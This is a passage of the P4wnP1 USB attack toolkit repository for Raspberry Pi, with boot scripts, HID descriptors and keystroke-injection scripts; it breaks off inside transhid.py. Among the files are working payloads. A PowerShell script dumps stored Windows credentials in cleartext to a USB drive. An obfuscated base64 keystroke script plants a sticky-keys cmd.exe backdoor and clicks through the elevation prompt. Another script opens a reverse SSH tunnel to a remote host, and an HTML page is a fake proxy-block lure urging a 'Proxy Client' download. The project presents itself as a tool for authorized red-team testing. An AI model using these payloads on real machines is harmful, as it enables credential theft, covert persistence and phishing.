├── hidtools
├── backdoor
│ ├── mouse
│ ├── resources
│ ├── DuckEncoder.py
│ ├── P4wnP1.dll
│ ├── Stage1.dll
│ ├── config.txt
│ ├── changes.txt
│ ├── StructHelper.py
│ ├── Config.py
│ ├── ServerMethod.py
│ ├── StageHelper.py
│ ├── Stage1.ps1
│ └── TransportLayer.py
├── mouse
│ ├── __init__.py
│ ├── hid_mouse.py
│ └── MouseScriptParser.py
├── frontdoor
│ ├── stage1.ps1
│ ├── stage1_test.ps1
│ ├── stage1_mini.ps1
│ └── stage1_reduced.ps1
├── payload_delivery
│ ├── stage1.ps1
│ ├── stage1_test.ps1
│ ├── stage1_mini.ps1
│ ├── stage1_mini.ps1.old
│ └── stage1_reduced.ps1
├── transhid.py
└── converter3.ps1
├── conf
├── report_desc
├── test_hid_desc
├── raw_hid_in_desc
├── raw_hid_out_desc
├── raw_report_desc
├── mouse_combined_desc
├── raw_hid_in_desc.txt
├── raw_hid_out_desc.txt
├── default_index.html
├── raw_report_desc.txt
└── default_Responder.conf
├── payloads
├── hakin9_tutorial
│ ├── startps.duck
│ ├── stealcreds.ps1
│ └── payload.txt
├── wifi_covert_channel
│ ├── NWiFi.dll
│ ├── hid_only_delivery32.txt
│ ├── hid_only_delivery64.txt
│ └── hid_only_delivery64_bt_only.txt
├── stickykey
│ ├── payload.txt
│ ├── remove.txt
│ └── trigger.txt
├── hid_keyboard.txt
├── hid_backdoor.txt
├── hid_frontdoor.txt
├── hid_mouse.txt
├── wifi_connect.txt
├── network_only.txt
├── hid_keyboard2.txt
├── template.txt
├── nexmon
│ └── karma.txt
└── hid_backdoor_remote.txt
├── DISCLAIMER.md
├── .gitmodules
├── DuckyScripts
├── AltF4.duck
├── AltF4_Return.duck
├── HelloWorld.duck
├── P4wnP1_youtube.duck
├── trigger_eicar.duck
├── mspaint.duck
├── stickykey_remove.duck
└── stickykey.duck
├── boot
├── led_blink_user.sh
├── init_hid_mouse.sh
├── init_config.sh
├── init_autossh.sh
├── init_led.sh
├── init_hid_keyboard.sh
├── init_wifi_nexmon.sh
├── boot_P4wnP1
└── init_usb_ethernet.sh
├── wifi
└── check_wifi.sh
├── ssh
├── genkeys.sh
└── pushkey.sh
├── ToDo.txt
├── ledtool
└── ledtool.py
├── FAQ.md
├── MouseScripts
└── test.mouse
└── INSTALL.md
/hidtools/backdoor/mouse:
--------------------------------------------------------------------------------
1 | ../mouse
--------------------------------------------------------------------------------
/hidtools/mouse/__init__.py:
--------------------------------------------------------------------------------
1 | # placeholder
2 |
--------------------------------------------------------------------------------
/hidtools/backdoor/resources:
--------------------------------------------------------------------------------
1 | ../../duckencoder/resources/
--------------------------------------------------------------------------------
/hidtools/backdoor/DuckEncoder.py:
--------------------------------------------------------------------------------
1 | ../../duckencoder/duckencoder.py
--------------------------------------------------------------------------------
/conf/report_desc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/conf/report_desc
--------------------------------------------------------------------------------
/conf/test_hid_desc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/conf/test_hid_desc
--------------------------------------------------------------------------------
/conf/raw_hid_in_desc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/conf/raw_hid_in_desc
--------------------------------------------------------------------------------
/conf/raw_hid_out_desc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/conf/raw_hid_out_desc
--------------------------------------------------------------------------------
/conf/raw_report_desc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/conf/raw_report_desc
--------------------------------------------------------------------------------
/conf/mouse_combined_desc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/conf/mouse_combined_desc
--------------------------------------------------------------------------------
/hidtools/backdoor/P4wnP1.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/backdoor/P4wnP1.dll
--------------------------------------------------------------------------------
/hidtools/backdoor/Stage1.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/backdoor/Stage1.dll
--------------------------------------------------------------------------------
/hidtools/frontdoor/stage1.ps1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/frontdoor/stage1.ps1
--------------------------------------------------------------------------------
/payloads/hakin9_tutorial/startps.duck:
--------------------------------------------------------------------------------
1 | GUI r
2 | DELAY 500
3 | STRING powershell.exe
4 | ENTER
5 | DELAY 1000
6 |
7 |
--------------------------------------------------------------------------------
/hidtools/frontdoor/stage1_test.ps1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/frontdoor/stage1_test.ps1
--------------------------------------------------------------------------------
/hidtools/payload_delivery/stage1.ps1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/payload_delivery/stage1.ps1
--------------------------------------------------------------------------------
/payloads/wifi_covert_channel/NWiFi.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/payloads/wifi_covert_channel/NWiFi.dll
--------------------------------------------------------------------------------
/hidtools/payload_delivery/stage1_test.ps1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/client/P4wnP1/master/hidtools/payload_delivery/stage1_test.ps1
--------------------------------------------------------------------------------
/hidtools/backdoor/config.txt:
--------------------------------------------------------------------------------
1 | # path to device used for keyboard emulation
2 | HID_KEYBOARD_DEV=/dev/hidg0
3 |
4 | # path to device used for raw HID communications
5 | HID_RAW_DEV=/dev/hidg1
6 |
7 | # supported languages: be, br, ca, ch, de, dk, es, fi, fr, gb, hr, it, no, pt, ru, si, sv, t, us
8 | KEYBOARD_LANG=us
9 |
10 | PATH_DUCKYSCRIPT=../../DuckyScripts
11 | PATH_MOUSESCRIPT=../../MouseScripts
12 |
13 | PATH_LANGUAGES=resources
14 |
15 | PATH_STAGE1_DOTNET=Stage1.dll
16 | PATH_STAGE1_PS=Stage1.ps1
17 | PATH_STAGE2_DOTNET=P4wnP1.dll
18 |
--------------------------------------------------------------------------------
/DISCLAIMER.md:
--------------------------------------------------------------------------------
1 | DISCLAIMER
2 | ==========
3 |
4 | **P4wnP1** is dedicated to penetration testers, redteamers and InfoSec personal.
5 | P4wnP1 is a Proof of Concept and should be used for authorized testing and/or
6 | educational purposes only. The only exception is using it against devices
7 | or a network, owned by yourself.
8 |
9 | I take no responsibility for the abuse of P4wnP1 or any information given in
10 | the related documents.
11 |
12 | **I DO NOT GRANT PERMISSIONS TO USE P4wnP1 TO BREAK THE LAW.**
13 |
14 | As P4wnP1 is meant as a Proof of Concept, it is likely that bugs occur.
15 | I disclaim any warranty for P4wnP1, it is provided "as is".
16 |
--------------------------------------------------------------------------------
/hidtools/backdoor/changes.txt:
--------------------------------------------------------------------------------
1 | - calls to remote methods deliver boolean to indicate error + result (if client.callMethod is issued with deliverResult=True)
2 | - if client disconnects, pending methods are set to error
3 | - fixed issue on connection state reporting, when client times out
4 | - fixed exception handling in core_create_process
5 | - added pwd, ls and cd command for remote FS
6 | - deployed a pass_trough handler, handing back data to the caller (mustn#t replace the default handler which prints out results)
7 |
8 |
9 | ToDo:
10 | - add optional timeout to for remote method calls
11 | - ls, pwd, cd need to check if client is connected before running
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "duckencoder"]
2 | path = duckencoder
3 | url = https://github.com/mame82/duckencoder.py
4 | [submodule "john-1-8-0-jumbo_raspbian_jessie_precompiled"]
5 | path = john-1-8-0-jumbo_raspbian_jessie_precompiled
6 | url = https://github.com/mame82/john-1-8-0-jumbo_raspbian_jessie_precompiled
7 | [submodule "Responder"]
8 | path = Responder
9 | url = https://github.com/mame82/Responder
10 | branch = EMULATE_INTERNET_AND_WPAD_ANYWAY
11 | [submodule "nexmon"]
12 | path = nexmon
13 | url = https://github.com/mame82/P4wnP1_nexmon_additions
14 | [submodule "hostapd-mana"]
15 | path = hostapd-mana
16 | url = https://github.com/mame82/P4wnP1_hostapd-mana_additions
17 |
--------------------------------------------------------------------------------
/payloads/hakin9_tutorial/stealcreds.ps1:
--------------------------------------------------------------------------------
1 | $drivefound=$false
2 | while (-not $drivefound)
3 | {
4 | try
5 | {
6 | $drive=Get-Volume -FileSystemLabel "HAKIN9" -ErrorAction Stop
7 | }
8 | catch
9 | {
10 | "Waiting for P4wnP1 drive"
11 | sleep 1
12 | continue
13 | }
14 | $dl=($drive.DriveLetter | Out-String)[0] +":"
15 | $drivefound=$true
16 | }
17 | $filename=$dl+"\"+$env:COMPUTERNAME+"_"+$env:USERNAME+".txt"
18 |
19 | [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
20 | $creds = (New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll()
21 | foreach ($c in $creds) {$c.RetrievePassword()}
22 | $creds | Format-List -Property Resource,UserName,Password | Out-File $filename
23 | exit
24 |
25 |
--------------------------------------------------------------------------------
/DuckyScripts/AltF4.duck:
--------------------------------------------------------------------------------
1 | // This file is part of P4wnP1.
2 | //
3 | // Copyright (c) 2017, Marcus Mengs.
4 | //
5 | // P4wnP1 is free software: you can redistribute it and/or modify
6 | // it under the terms of the GNU General Public License as published by
7 | // the Free Software Foundation, either version 3 of the License, or
8 | // (at your option) any later version.
9 | //
10 | // P4wnP1 is distributed in the hope that it will be useful,
11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | // GNU General Public License for more details.
14 | //
15 | // You should have received a copy of the GNU General Public License
16 | // along with P4wnP1. If not, see .
17 |
18 |
19 | ALT F4
20 |
--------------------------------------------------------------------------------
/DuckyScripts/AltF4_Return.duck:
--------------------------------------------------------------------------------
1 | // This file is part of P4wnP1.
2 | //
3 | // Copyright (c) 2017, Marcus Mengs.
4 | //
5 | // P4wnP1 is free software: you can redistribute it and/or modify
6 | // it under the terms of the GNU General Public License as published by
7 | // the Free Software Foundation, either version 3 of the License, or
8 | // (at your option) any later version.
9 | //
10 | // P4wnP1 is distributed in the hope that it will be useful,
11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | // GNU General Public License for more details.
14 | //
15 | // You should have received a copy of the GNU General Public License
16 | // along with P4wnP1. If not, see .
17 |
18 | ALT F4
19 | DELAY 500
20 | ENTER
21 |
--------------------------------------------------------------------------------
/DuckyScripts/HelloWorld.duck:
--------------------------------------------------------------------------------
1 | // This file is part of P4wnP1.
2 | //
3 | // Copyright (c) 2017, Marcus Mengs.
4 | //
5 | // P4wnP1 is free software: you can redistribute it and/or modify
6 | // it under the terms of the GNU General Public License as published by
7 | // the Free Software Foundation, either version 3 of the License, or
8 | // (at your option) any later version.
9 | //
10 | // P4wnP1 is distributed in the hope that it will be useful,
11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | // GNU General Public License for more details.
14 | //
15 | // You should have received a copy of the GNU General Public License
16 | // along with P4wnP1. If not, see .
17 |
18 | GUI r
19 | DELAY 500
20 | STRING notepad.exe
21 | ENTER
22 | DELAY 1000
23 | STRING Hello World
24 | ENTER
25 |
--------------------------------------------------------------------------------
/DuckyScripts/P4wnP1_youtube.duck:
--------------------------------------------------------------------------------
1 | // This file is part of P4wnP1.
2 | //
3 | // Copyright (c) 2017, Marcus Mengs.
4 | //
5 | // P4wnP1 is free software: you can redistribute it and/or modify
6 | // it under the terms of the GNU General Public License as published by
7 | // the Free Software Foundation, either version 3 of the License, or
8 | // (at your option) any later version.
9 | //
10 | // P4wnP1 is distributed in the hope that it will be useful,
11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | // GNU General Public License for more details.
14 | //
15 | // You should have received a copy of the GNU General Public License
16 | // along with P4wnP1. If not, see .
17 |
18 | DELAY 3000
19 | GUI r
20 | DELAY 200
21 | STRING https://www.youtube.com/watch?v=MI8DFlKLHBk
22 | ENTER
23 | DELAY 5000
24 | STRING f
25 |
--------------------------------------------------------------------------------
/boot/led_blink_user.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 |
4 | # This file is part of P4wnP1.
5 | #
6 | # Copyright (c) 2017, Marcus Mengs.
7 | #
8 | # P4wnP1 is free software: you can redistribute it and/or modify
9 | # it under the terms of the GNU General Public License as published by
10 | # the Free Software Foundation, either version 3 of the License, or
11 | # (at your option) any later version.
12 | #
13 | # P4wnP1 is distributed in the hope that it will be useful,
14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | # GNU General Public License for more details.
17 | #
18 | # You should have received a copy of the GNU General Public License
19 | # along with P4wnP1. If not, see .
20 |
21 |
22 | ledtrigger="/tmp/blink_count"
23 | # led blink function
24 | function led_blink()
25 | {
26 | if [ "$1" ]
27 | then
28 | echo "$1" > $ledtrigger
29 | fi
30 | }
31 |
--------------------------------------------------------------------------------
/wifi/check_wifi.sh:
--------------------------------------------------------------------------------
1 | #/bin/bash
2 |
3 | # This file is part of P4wnP1.
4 | #
5 | # Copyright (c) 2017, Marcus Mengs.
6 | #
7 | # P4wnP1 is free software: you can redistribute it and/or modify
8 | # it under the terms of the GNU General Public License as published by
9 | # the Free Software Foundation, either version 3 of the License, or
10 | # (at your option) any later version.
11 | #
12 | # P4wnP1 is distributed in the hope that it will be useful,
13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | # GNU General Public License for more details.
16 | #
17 | # You should have received a copy of the GNU General Public License
18 | # along with P4wnP1. If not, see .
19 |
20 |
21 |
22 | # check for presence of wlan0
23 |
24 | if ! iwconfig 2>&1 | grep -q -E ".*wlan0.*"; then
25 | echo "...[Error] now wlan0 interface found"
26 | exit 1
27 | fi
28 | exit 0
29 |
--------------------------------------------------------------------------------
/hidtools/backdoor/StructHelper.py:
--------------------------------------------------------------------------------
1 |
2 | # This file is part of P4wnP1.
3 | #
4 | # Copyright (c) 2017, Marcus Mengs.
5 | #
6 | # P4wnP1 is free software: you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation, either version 3 of the License, or
9 | # (at your option) any later version.
10 | #
11 | # P4wnP1 is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with P4wnP1. If not, see .
18 |
19 |
20 | import struct
21 |
22 | class StructHelper:
23 | @staticmethod
24 | def extractNullTerminatedString(data):
25 | parts = data.split('\x00',1)
26 | if len(parts) == 1:
27 | return [parts[0],""]
28 | else:
29 | return parts
--------------------------------------------------------------------------------
/DuckyScripts/trigger_eicar.duck:
--------------------------------------------------------------------------------
1 | // This file is part of P4wnP1.
2 | //
3 | // Copyright (c) 2017, Marcus Mengs.
4 | //
5 | // P4wnP1 is free software: you can redistribute it and/or modify
6 | // it under the terms of the GNU General Public License as published by
7 | // the Free Software Foundation, either version 3 of the License, or
8 | // (at your option) any later version.
9 | //
10 | // P4wnP1 is distributed in the hope that it will be useful,
11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | // GNU General Public License for more details.
14 | //
15 | // You should have received a copy of the GNU General Public License
16 | // along with P4wnP1. If not, see .
17 |
18 | GUI r
19 | DELAY 500
20 | STRING cmd
21 | ENTER
22 | DELAY 1000
23 | STRING cd %USERPROFILE%\Desktop\
24 | DELAY 500
25 | ENTER
26 | STRING COPY /Y CON EICAR
27 | ENTER
28 | STRING X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
29 | DELAY 500
30 | CONTROL Z
31 | ENTER
32 | REM STRING exit
33 | ENTER
34 |
--------------------------------------------------------------------------------
/DuckyScripts/mspaint.duck:
--------------------------------------------------------------------------------
1 | // This file is part of P4wnP1.
2 | //
3 | // Copyright (c) 2017, Marcus Mengs.
4 | //
5 | // P4wnP1 is free software: you can redistribute it and/or modify
6 | // it under the terms of the GNU General Public License as published by
7 | // the Free Software Foundation, either version 3 of the License, or
8 | // (at your option) any later version.
9 | //
10 | // P4wnP1 is distributed in the hope that it will be useful,
11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | // GNU General Public License for more details.
14 | //
15 | // You should have received a copy of the GNU General Public License
16 | // along with P4wnP1. If not, see .
17 |
18 | // The script opens mspaint, maximizes it and changes the canvas to 1920 x 1080
19 |
20 | GUI R
21 | DELAY 200
22 | STRING mspaint
23 | ENTER
24 | DELAY 500
25 | GUI UP
26 | DELAY 200
27 |
28 | // this openes properties dialog, but is language specific (e = German "(E)igenschaften")
29 | CTRL e
30 |
31 | DELAY 500
32 | STRING 1920
33 | TAB
34 | DELAY 200
35 | STRING 1080
36 | ENTER
37 |
--------------------------------------------------------------------------------
/boot/init_hid_mouse.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 |
4 | # This file is part of P4wnP1.
5 | #
6 | # Copyright (c) 2017, Marcus Mengs.
7 | #
8 | # P4wnP1 is free software: you can redistribute it and/or modify
9 | # it under the terms of the GNU General Public License as published by
10 | # the Free Software Foundation, either version 3 of the License, or
11 | # (at your option) any later version.
12 | #
13 | # P4wnP1 is distributed in the hope that it will be useful,
14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | # GNU General Public License for more details.
17 | #
18 | # You should have received a copy of the GNU General Public License
19 | # along with P4wnP1. If not, see .
20 |
21 | #
22 | # Declares function used in conjunction with HID mouse
23 |
24 | # output mouse commands from MouseScript (see $wdir/MouseScripts/test.mouse for example Script)
25 | function outmouse()
26 | {
27 | # cat | python $wdir/duckencoder/duckencoder.py -l $lang -r | python $wdir/transhid.py > /dev/hidg0
28 | cat | python $wdir/hidtools/mouse/MouseScriptParser.py
29 | }
30 |
31 |
--------------------------------------------------------------------------------
/boot/init_config.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 |
4 | # This file is part of P4wnP1.
5 | #
6 | # Copyright (c) 2017, Marcus Mengs.
7 | #
8 | # P4wnP1 is free software: you can redistribute it and/or modify
9 | # it under the terms of the GNU General Public License as published by
10 | # the Free Software Foundation, either version 3 of the License, or
11 | # (at your option) any later version.
12 | #
13 | # P4wnP1 is distributed in the hope that it will be useful,
14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | # GNU General Public License for more details.
17 | #
18 | # You should have received a copy of the GNU General Public License
19 | # along with P4wnP1. If not, see .
20 |
21 |
22 | # load global configuration variables
23 |
24 | # include setup.cfg
25 | source $wdir/setup.cfg
26 |
27 | # include payload (overrides variables set by setup.cfg if needed)
28 | # PAYLOAD itself is define in setup.cfg
29 | source $wdir/payloads/$PAYLOAD
30 |
31 | # check for wifi capability
32 | if $wdir/wifi/check_wifi.sh; then WIFI=true; else WIFI=false; fi
33 |
34 | # set variable for USB gadget directory
35 | GADGETS_DIR="mame82gadget"
36 |
37 |
--------------------------------------------------------------------------------
/conf/raw_hid_in_desc.txt:
--------------------------------------------------------------------------------
1 |
2 | # This file is part of P4wnP1.
3 | #
4 | # Copyright (c) 2017, Marcus Mengs.
5 | #
6 | # P4wnP1 is free software: you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation, either version 3 of the License, or
9 | # (at your option) any later version.
10 | #
11 | # P4wnP1 is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with P4wnP1. If not, see .
18 |
19 |
20 | 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00)
21 | 0x09, 0x01, // Usage (0x01)
22 | 0xA1, 0x01, // Collection (Application)
23 | 0x09, 0x01, // Usage (0x01)
24 | 0x15, 0x00, // Logical Minimum (0)
25 | 0x26, 0xFF, 0x00, // Logical Maximum (255)
26 | 0x75, 0x08, // Report Size (8)
27 | 0x95, 0x40, // Report Count (64)
28 | 0x81, 0x02, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position)
29 | 0xC0, // End Collection
30 |
--------------------------------------------------------------------------------
/conf/raw_hid_out_desc.txt:
--------------------------------------------------------------------------------
1 |
2 | # This file is part of P4wnP1.
3 | #
4 | # Copyright (c) 2017, Marcus Mengs.
5 | #
6 | # P4wnP1 is free software: you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation, either version 3 of the License, or
9 | # (at your option) any later version.
10 | #
11 | # P4wnP1 is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with P4wnP1. If not, see .
18 |
19 |
20 | 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00)
21 | 0x09, 0x01, // Usage (0x01)
22 | 0xA1, 0x01, // Collection (Application)
23 | 0x09, 0x02, // Usage (0x02)
24 | 0x15, 0x00, // Logical Minimum (0)
25 | 0x26, 0xFF, 0x00, // Logical Maximum (255)
26 | 0x75, 0x08, // Report Size (8)
27 | 0x95, 0x40, // Report Count (64)
28 | 0x91, 0x02, // Output (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position,Non-volatile)
29 | 0xC0, // End Collection
30 |
31 | // 21 bytes
32 |
--------------------------------------------------------------------------------
/DuckyScripts/stickykey_remove.duck:
--------------------------------------------------------------------------------
1 | // This file is part of P4wnP1.
2 | //
3 | // Copyright (c) 2017, Marcus Mengs.
4 | //
5 | // P4wnP1 is free software: you can redistribute it and/or modify
6 | // it under the terms of the GNU General Public License as published by
7 | // the Free Software Foundation, either version 3 of the License, or
8 | // (at your option) any later version.
9 | //
10 | // P4wnP1 is distributed in the hope that it will be useful,
11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | // GNU General Public License for more details.
14 | //
15 | // You should have received a copy of the GNU General Public License
16 | // along with P4wnP1. If not, see .
17 |
18 | GUI r
19 | DELAY 500
20 | STRING powershell.exe
21 | ENTER
22 | DELAY 1000
23 |
24 | STRING start powershell -verb runas -A '-e','IwBmAG8AcgAgAFAANAB3AG4AUAAxACAAYgB5ACAATQBhAE0AZQA4ADIACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbQBhAGcAZQAgAEYAaQBsAGUAIABFAHgAZQBjAHUAdABpAG8AbgAgAE8AcAB0AGkAbwBuAHMAXABzAGUAdABoAGMALgBlAHgAZQAiADsAZQB4AGkAdAA=';exit
25 | ENTER
26 | DELAY 500
27 |
28 | SHIFT TAB
29 | DELAY 100
30 | ENTER
31 |
32 |
--------------------------------------------------------------------------------
/boot/init_autossh.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # This file is part of P4wnP1.
4 | #
5 | # Copyright (c) 2017, Marcus Mengs.
6 | #
7 | # P4wnP1 is free software: you can redistribute it and/or modify
8 | # it under the terms of the GNU General Public License as published by
9 | # the Free Software Foundation, either version 3 of the License, or
10 | # (at your option) any later version.
11 | #
12 | # P4wnP1 is distributed in the hope that it will be useful,
13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | # GNU General Public License for more details.
16 | #
17 | # You should have received a copy of the GNU General Public License
18 | # along with P4wnP1. If not, see .
19 |
20 |
21 | # Enable AutoSSH reachback connection according to the settings of setup.cfg or current payload
22 |
23 | function start_autossh()
24 | {
25 | if $AUTOSSH_ENABLED; then
26 | echo "Forwarding P4wnP1 SSH server to \"$AUTOSSH_REMOTE_HOST\" ..."
27 | echo " P4wnP1 SSH will be reachable on localhost:$AUTOSSH_REMOTE_PORT on this server"
28 | cp $AUTOSSH_PRIVATE_KEY /tmp/ssh_id
29 |
30 | sudo autossh -M 0 -f -T -N -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /tmp/ssh_id -R localhost:$AUTOSSH_REMOTE_PORT:localhost:22 $AUTOSSH_REMOTE_USER@$AUTOSSH_REMOTE_HOST
31 | fi
32 | }
33 |
--------------------------------------------------------------------------------
/boot/init_led.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 |
4 | # This file is part of P4wnP1.
5 | #
6 | # Copyright (c) 2017, Marcus Mengs.
7 | #
8 | # P4wnP1 is free software: you can redistribute it and/or modify
9 | # it under the terms of the GNU General Public License as published by
10 | # the Free Software Foundation, either version 3 of the License, or
11 | # (at your option) any later version.
12 | #
13 | # P4wnP1 is distributed in the hope that it will be useful,
14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | # GNU General Public License for more details.
17 | #
18 | # You should have received a copy of the GNU General Public License
19 | # along with P4wnP1. If not, see .
20 |
21 |
22 | # Start LED controller script and provide funtion to set blink count
23 |
24 | # ====================
25 | # LED init
26 | # ====================
27 |
28 | # create control file and change owner (otherwise it would be created by ledtool.py
29 | # with owner root, and thus not writable by user pi)
30 | ledtrigger="/tmp/blink_count"
31 | echo 255 > $ledtrigger
32 | chmod 0666 $ledtrigger
33 | sync
34 |
35 | # start LED control in background
36 | python $wdir/ledtool/ledtool.py&
37 |
38 | # led blink function
39 | function led_blink()
40 | {
41 | if [ "$1" ]
42 | then
43 | echo "$1" > $ledtrigger
44 | fi
45 | }
46 |
47 | # disable LED for now
48 | led_blink 0
49 |
--------------------------------------------------------------------------------
/conf/default_index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | Website Blocked: ISA Proxy Server
4 |
14 |
15 |
16 |
17 |
18 |
19 |
New Security Policy: Website Blocked
20 |
21 |
22 |
23 |

24 |

25 |
- Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/DuckyScripts/stickykey.duck:
--------------------------------------------------------------------------------
1 | // This file is part of P4wnP1.
2 | //
3 | // Copyright (c) 2017, Marcus Mengs.
4 | //
5 | // P4wnP1 is free software: you can redistribute it and/or modify
6 | // it under the terms of the GNU General Public License as published by
7 | // the Free Software Foundation, either version 3 of the License, or
8 | // (at your option) any later version.
9 | //
10 | // P4wnP1 is distributed in the hope that it will be useful,
11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | // GNU General Public License for more details.
14 | //
15 | // You should have received a copy of the GNU General Public License
16 | // along with P4wnP1. If not, see .
17 |
18 | GUI r
19 | DELAY 500
20 | STRING powershell.exe
21 | ENTER
22 | DELAY 1000
23 |
24 | STRING start powershell -verb runas -A '-e','IwBmAG8AcgAgAFAANAB3AG4AUAAxACAAYgB5ACAATQBhAE0AZQA4ADIACgBzAGwAIAAiAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbQBhAGcAZQAgAEYAaQBsAGUAIABFAHgAZQBjAHUAdABpAG8AbgAgAE8AcAB0AGkAbwBuAHMAIgA7AG4AaQAgAHMAZQB0AGgAYwAuAGUAeABlADsAYwBkACAAcwBlAHQAaABjAC4AZQB4AGUAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALgAgAC0ATgAgAEQAZQBiAHUAZwBnAGUAcgAgAC0AVgBhACAAIgBjAG0AZAAuAGUAeABlACIAOwBlAHgAaQB0AA==';exit
25 | ENTER
26 | DELAY 500
27 |
28 | SHIFT TAB
29 | DELAY 100
30 | ENTER
31 |
32 |
--------------------------------------------------------------------------------
/hidtools/transhid.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 |
4 | # This file is part of P4wnP1.
5 | #
6 | # Copyright (c) 2017, Marcus Mengs.
7 | #
8 | # P4wnP1 is free software: you can redistribute it and/or modify
9 | # it under the terms of the GNU General Public License as published by
10 | # the Free Software Foundation, either version 3 of the License, or
11 | # (at your option) any later version.
12 | #
13 | # P4wnP1 is distributed in the hope that it will be useful,
14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
